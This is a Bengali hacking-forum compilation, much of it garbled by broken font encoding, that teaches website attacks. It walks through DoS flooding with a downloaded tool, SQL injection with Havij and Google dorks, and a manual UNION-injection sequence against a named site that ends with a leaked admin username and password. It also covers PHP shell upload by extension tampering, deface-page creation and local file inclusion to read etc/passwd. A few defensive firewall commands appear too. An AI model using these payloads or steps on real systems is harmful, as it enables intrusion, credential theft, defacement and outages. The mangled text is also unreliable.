এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
